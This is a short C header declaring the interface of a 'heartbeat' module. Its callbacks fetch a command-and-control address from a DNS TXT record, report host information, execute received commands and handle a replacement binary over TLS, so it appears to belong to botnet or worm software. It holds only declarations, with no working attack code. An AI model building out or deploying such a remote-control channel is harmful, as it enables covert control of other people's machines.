#pragma once
#include "pth.h"
#include "resolv.h"
#include "protocol.h"

#include <mbedtls/ssl.h>


struct prne_htbt;
typedef struct prne_htbt prne_htbt_t;
typedef struct prne_htbt_param prne_htbt_param_t;
typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size);
typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);

struct prne_htbt_param {
	mbedtls_ssl_config *lbd_ssl_conf;
	mbedtls_ssl_config *cncp_ssl_conf;
	mbedtls_ctr_drbg_context *ctr_drbg;
	prne_resolv_t *resolv;
	struct {
		prne_htbt_cnc_txtrec_ft cnc_txtrec;
		prne_htbt_hostinfo_ft hostinfo; // optional
		prne_htbt_tmpfile_ft tmpfile; // optional
		prne_htbt_bin_ft ny_bin; // optional
	} cb_f;
};


prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param);

void prne_htbt_init_param (prne_htbt_param_t *p);
void prne_htbt_free_param (prne_htbt_param_t *p);